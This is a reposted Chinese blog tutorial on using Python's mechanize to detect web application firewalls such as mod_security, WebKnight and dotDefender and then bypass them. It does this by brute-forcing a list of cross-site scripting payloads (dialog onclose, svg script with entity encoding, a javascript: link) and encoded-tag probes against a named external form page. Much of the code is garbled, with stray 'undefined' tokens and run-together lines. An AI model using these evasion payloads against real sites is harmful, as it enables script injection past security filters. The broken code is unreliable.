博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
使用Python检测并绕过Web应用程序防火墙
阅读量:6291 次
发布时间:2019-06-22

本文共 4181 字,大约阅读时间需要 13 分钟。

版权声明:转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396273

参考文章:

Web应用程序防火墙用来过滤恶意流量。

基于签名的防火墙

在基于签名的防火墙中,定义了签名,因为网络攻击也遵循类似的模式或签名。所以我们可以定义匹配模式并阻止它们。

Payload :- 

上面定义的有效载荷是一种跨站点脚本攻击,这些攻击都可以包含以下子串 - >“<script>”,我们可以定义如下定义的2-3个签名:

1、

第一个签名将阻止包含<script>子串的任何请求。

第二个将阻止警报(任何文本)。那么这就是基于签名的防火墙的工作原理。

怎么知道有防火墙?

开始攻击以前,先测试是否有防火墙。

这段消息告诉我们,防火墙阻碍了我们的攻击。

HTTP/1.1 406 Not AcceptableDate: Mon, 10 Jan 2016Server: nginxContent-Type: text/html; charset=iso-8859-1Not Acceptable!Not Acceptable! An appropriate representation of therequested resource could not be found on this server. This error was generated by Mod_Security.

下面,尝试用python脚本检测防火墙,并且绕过它。

1、定义HTML文档和PHP脚本
定义我们的HTML文档来注入有效载荷和相应的PHP脚本来处理数据。
我们下面定义了这两个。
将使用以下HTML文档:

Data:

waf.php:

Data from the form : 

2、准备恶意请求

检测防火墙存在的第二步是创建一个可以被防火墙阻止的恶意跨站脚本请求。 我们将使用一个名为“Mechanize”的python模块,了解更多关于此模块的信息

import mechanize as mecmaliciousRequest = mec.Browser()formName = 'waf'maliciousRequest.open("http://check.cyberpersons.com/crossSiteCheck.html")maliciousRequest.select_form(formName)

3、准备有效载荷

在HTML文档中,我们使用以下代码指定了一个输入字段:

input type =“text”name =“data”> 

您可以看到该字段的名称是“data”,我们可以使用以下代码来定义此字段的输入:

crossSiteScriptingPayLoad = "

第一行将我们的有效载荷保存在一个变量中

第二行,我们已将我们的有效内容分配给表单字段“data”。 我们现在可以安全地提交此表格并检查答复。
4、提交表单并记录回复

maliciousRequest.submit()response =  maliciousRequest.response().read()print response

提交表单

将响应保存在变量中
打印响应
没有安装防火墙得到如下响应:

5、检测防火墙的存在

名为“response”的变量包含从服务器获得的响应,我们可以使用响应来检测防火墙的存在。 我们将尝试在本教程中检测到以下防火墙的存在。WebKnight
mod_security
Dot Defender
python代码:

if response.find('WebKnight') >= 0:       print "Firewall detected: WebKnight"elif response.find('Mod_Security') >= 0:      print "Firewall detected: Mod Security"elif response.find('Mod_Security') >= 0:      print "Firewall detected: Mod Security"elif response.find('dotDefender') >= 0:      print "Firewall detected: Dot Defender"else:      print "No Firewall Present"

如果安装了Web Knight防火墙,并且我们的请求被阻止,响应字符串将在其中包含“WebKnight”,那么find函数将返回大于0的值,这意味着WebKnight防火墙存在。 同样,我们也可以检查其他2个防火墙。 我们可以扩展这个小应用程序来检测多少个防火墙,但您必须知道响应行为。

使用强力来绕过防火墙过滤器

开头提到,大多数防火墙基于签名阻止请求。 但可以使用数千种方式构建有效载荷。 Java脚本复杂,我们可以列出有效负载,并尝试其中的每一个,记录每个响应并检查是否能够绕过防火墙。 请注意,如果防火墙规则被明确定义,这种方法可能无法正常工作。 让我们看看我们如何使用python来硬肛:

listofPayloads = ['<dialog open="" onclose="alertundefined1)"><form method="dialog"><button>Close me!</button></form></dialog>','<svg><script>prompt&#40 1&#41<i>','<a href="&#1;javascript:alertundefined1)">CLICK ME<a>']for payLoads in listofPayloads:    maliciousRequest = mec.Browserundefined)formName = 'waf'    maliciousRequest.openundefined(http://check.cyberpersons.com/crossSiteCheck.html)")maliciousRequest.select_formundefinedformName)maliciousRequest.form['data'] = payLoadsmaliciousRequest.submitundefined)response = maliciousRequest.responseundefined).readundefined)if response.findundefined 'WebKnight' ) > = 0:        print "Firewall detected: WebKnight"    elif response.findundefined 'Mod_Security') > = 0:        print "Firewall detected: Mod Security"elifresponse.findundefined 'Mod_Security' ) > = 0 :        print "Firewall detected: Mod Security"elifresponse.findundefined 'dotDefender' ) > = 0 :        print "Firewall detected: Dot Defender"    else:       print "No Firewall Present"

在第一行,我们定义了3个有效载荷的列表,您可以扩展此列表,并根据需要添加多个有效载荷

然后在for循环中,我们做了与上面所做的相同的过程,但这次是列表中的每个有效载荷
在收到响应后,我们再次比较看看防火墙是否存在。
没有防火墙的输出:

将HTML标签转换为Unicode或Hex实体

如果例如防火墙正在过滤html标签,如<,>。 我们可以发送相应的Unicode或Hex实体,看看它们是否被转换为原始格式,如果是这样,那么这也可能是一个入口点。 以下代码可用于检查此过程:

listofPayloads = ['<b>','\u003cb\u003e','\x3cb\x3e']for payLoads in listofPayloads:     maliciousRequest = mec.Browser()     formName = 'waf'   maliciousRequest.open("http://check.cyberpersons.com/crossSiteCheck.html")     maliciousRequest.select_form(formName)     maliciousRequest.form['data'] = payLoads     maliciousRequest.submit()     response = maliciousRequest.response().read()     print "---------------------------------------------------"     print response     print "---------------------------------------------------"

每次我们将发送编码的条目,并在响应中我们将检查是否转换或打印回没有转换,当我运行这个代码我得到这个输出

表示没有编码的条目被转换为其原始格式

上面代码好零碎,完整代码打包下载:

你可能感兴趣的文章
京津冀青少年网球分级赛总决赛开打 118名选手对决
查看>>
济南交警推出《酒驾整治日历》酒驾为每日必查项
查看>>
失手打死请自己吃饭的酒友 嫌疑人在深圳落网
查看>>
数据分析师常用的十种数据分析思路,你都知道吗?
查看>>
特斯拉Model3交付危机:周产5000辆仍需排队一年,造空者花式补刀
查看>>
客户端单周发版下的多分支自动化管理与实践
查看>>
Flutter初体验(二)—— 创建第一个Flutter APP
查看>>
「起点订阅页」Checkbox 美化引发的蝴蝶效应
查看>>
Swift iOS : 模糊化
查看>>
Android 应用防止被二次打包指南
查看>>
高级篇:独立开发者 5 分钟入门 ASO
查看>>
深度有趣 | 18 二次元头像生成
查看>>
Android P 凹口屏支持,打造全面屏体验
查看>>
小白聊「区块链」
查看>>
源码|并发一枝花之CopyOnWriteArrayList
查看>>
循环神经网络
查看>>
从JDK源码角度看Long
查看>>
你不曾见过的酷炫地图可视化作品(一)
查看>>
二线城市疯狂抢人,技术人才何去何从?
查看>>
如果想成为一名顶尖的前端,这份书单你一定要收藏!
查看>>